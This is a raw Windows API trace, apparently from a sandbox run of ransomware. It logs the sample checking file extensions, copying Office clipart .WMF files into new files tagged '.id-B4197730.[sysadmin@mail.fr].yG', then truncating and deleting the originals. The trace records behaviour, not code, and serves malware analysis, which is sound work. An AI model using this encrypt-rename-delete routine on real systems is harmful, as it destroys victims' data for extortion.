	[0152.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.202] lstrlenW (lpString=".jpg") returned 4
	[0152.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.202] lstrlenW (lpString=".doc") returned 4
	[0152.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.202] lstrlenW (lpString=".docx") returned 5
	[0152.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.202] lstrlenW (lpString=".pdf") returned 4
	[0152.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.203] lstrlenW (lpString=".xls") returned 4
	[0152.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.203] lstrlenW (lpString=".xlsx") returned 5
	[0152.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.203] lstrlenW (lpString=".ppt") returned 4
	[0152.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.203] lstrlenW (lpString=".zip") returned 4
	[0152.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.203] lstrlenW (lpString=".rar") returned 4
	[0152.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.203] lstrlenW (lpString=".bz2") returned 4
	[0152.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.203] lstrlenW (lpString=".7z") returned 3
	[0152.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.203] lstrlenW (lpString=".dbf") returned 4
	[0152.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.204] lstrlenW (lpString=".1cd") returned 4
	[0152.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68
	[0152.204] lstrlenW (lpString=".jpg") returned 4
	[0152.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.204] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0152.204] lstrlenW (lpString="IN00233_.WMF") returned 12
	[0152.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0152.205] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11190) returned 1
	[0152.205] CloseHandle (hObject=0x554) returned 1
	[0152.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220
	[0152.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0152.207] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.207] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0152.208] GetLastError () returned 0x0
	[0152.208] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2bb6, lpOverlapped=0x0) returned 1
	[0152.214] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0152.216] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.216] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.216] SetEndOfFile (hFile=0x520) returned 1
	[0152.216] CloseHandle (hObject=0x520) returned 1
	[0152.216] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.216] SetEndOfFile (hFile=0x554) returned 1
	[0152.220] CloseHandle (hObject=0x554) returned 1
	[0152.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1
	[0152.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.221] lstrlenW (lpString=".doc") returned 4
	[0152.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.221] lstrlenW (lpString=".docx") returned 5
	[0152.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.221] lstrlenW (lpString=".pdf") returned 4
	[0152.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.221] lstrlenW (lpString=".xls") returned 4
	[0152.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.221] lstrlenW (lpString=".xlsx") returned 5
	[0152.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.222] lstrlenW (lpString=".ppt") returned 4
	[0152.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.222] lstrlenW (lpString=".zip") returned 4
	[0152.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.222] lstrlenW (lpString=".rar") returned 4
	[0152.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.222] lstrlenW (lpString=".bz2") returned 4
	[0152.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.222] lstrlenW (lpString=".7z") returned 3
	[0152.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.222] lstrlenW (lpString=".dbf") returned 4
	[0152.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.222] lstrlenW (lpString=".1cd") returned 4
	[0152.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.222] lstrlenW (lpString=".jpg") returned 4
	[0152.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.222] lstrlenW (lpString=".doc") returned 4
	[0152.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.222] lstrlenW (lpString=".docx") returned 5
	[0152.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.223] lstrlenW (lpString=".pdf") returned 4
	[0152.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.223] lstrlenW (lpString=".xls") returned 4
	[0152.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.223] lstrlenW (lpString=".xlsx") returned 5
	[0152.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.223] lstrlenW (lpString=".ppt") returned 4
	[0152.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.223] lstrlenW (lpString=".zip") returned 4
	[0152.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.223] lstrlenW (lpString=".rar") returned 4
	[0152.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.223] lstrlenW (lpString=".bz2") returned 4
	[0152.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.223] lstrlenW (lpString=".7z") returned 3
	[0152.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.223] lstrlenW (lpString=".dbf") returned 4
	[0152.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.223] lstrlenW (lpString=".1cd") returned 4
	[0152.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0152.223] lstrlenW (lpString=".jpg") returned 4
	[0152.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.224] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0152.224] lstrlenW (lpString="IN00343_.WMF") returned 12
	[0152.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0152.226] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1892) returned 1
	[0152.226] CloseHandle (hObject=0x554) returned 1
	[0152.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220
	[0152.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0152.227] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.227] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0152.227] GetLastError () returned 0x0
	[0152.228] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x764, lpOverlapped=0x0) returned 1
	[0152.237] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x770, lpOverlapped=0x0) returned 1
	[0152.239] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.239] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.239] SetEndOfFile (hFile=0x520) returned 1
	[0152.239] CloseHandle (hObject=0x520) returned 1
	[0152.239] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.239] SetEndOfFile (hFile=0x554) returned 1
	[0152.243] CloseHandle (hObject=0x554) returned 1
	[0152.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1
	[0153.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.253] lstrlenW (lpString=".doc") returned 4
	[0153.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.253] lstrlenW (lpString=".docx") returned 5
	[0153.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.253] lstrlenW (lpString=".pdf") returned 4
	[0153.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.253] lstrlenW (lpString=".xls") returned 4
	[0153.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.254] lstrlenW (lpString=".xlsx") returned 5
	[0153.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.254] lstrlenW (lpString=".ppt") returned 4
	[0153.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.254] lstrlenW (lpString=".zip") returned 4
	[0153.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.254] lstrlenW (lpString=".rar") returned 4
	[0153.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.254] lstrlenW (lpString=".bz2") returned 4
	[0153.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.254] lstrlenW (lpString=".7z") returned 3
	[0153.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.254] lstrlenW (lpString=".dbf") returned 4
	[0153.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.254] lstrlenW (lpString=".1cd") returned 4
	[0153.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.254] lstrlenW (lpString=".jpg") returned 4
	[0153.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.255] lstrlenW (lpString=".doc") returned 4
	[0153.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.255] lstrlenW (lpString=".docx") returned 5
	[0153.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.255] lstrlenW (lpString=".pdf") returned 4
	[0153.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.255] lstrlenW (lpString=".xls") returned 4
	[0153.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.255] lstrlenW (lpString=".xlsx") returned 5
	[0153.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.255] lstrlenW (lpString=".ppt") returned 4
	[0153.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.255] lstrlenW (lpString=".zip") returned 4
	[0153.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.255] lstrlenW (lpString=".rar") returned 4
	[0153.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.255] lstrlenW (lpString=".bz2") returned 4
	[0153.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.255] lstrlenW (lpString=".7z") returned 3
	[0153.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.255] lstrlenW (lpString=".dbf") returned 4
	[0153.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.256] lstrlenW (lpString=".1cd") returned 4
	[0153.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0153.256] lstrlenW (lpString=".jpg") returned 4
	[0153.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.256] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.256] lstrlenW (lpString="J0086384.WMF") returned 12
	[0153.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.257] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=9734) returned 1
	[0153.257] CloseHandle (hObject=0x38c) returned 1
	[0153.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220
	[0153.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.258] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.258] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0153.259] GetLastError () returned 0x0
	[0153.259] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2606, lpOverlapped=0x0) returned 1
	[0153.277] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2610, lpOverlapped=0x0) returned 1
	[0153.279] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.279] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.279] SetEndOfFile (hFile=0x520) returned 1
	[0153.279] CloseHandle (hObject=0x520) returned 1
	[0153.279] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.279] SetEndOfFile (hFile=0x38c) returned 1
	[0153.282] CloseHandle (hObject=0x38c) returned 1
	[0153.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1
	[0153.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.284] lstrlenW (lpString=".doc") returned 4
	[0153.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.284] lstrlenW (lpString=".docx") returned 5
	[0153.284] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0153.284] lstrlenW (lpString=".pdf") returned 4
	[0153.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.284] lstrlenW (lpString=".xls") returned 4
	[0153.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.284] lstrlenW (lpString=".xlsx") returned 5
	[0153.284] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0153.284] lstrlenW (lpString=".ppt") returned 4
	[0153.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.284] lstrlenW (lpString=".zip") returned 4
	[0153.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.284] lstrlenW (lpString=".rar") returned 4
	[0153.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.284] lstrlenW (lpString=".bz2") returned 4
	[0153.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.285] lstrlenW (lpString=".7z") returned 3
	[0153.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.285] lstrlenW (lpString=".dbf") returned 4
	[0153.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.285] lstrlenW (lpString=".1cd") returned 4
	[0153.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
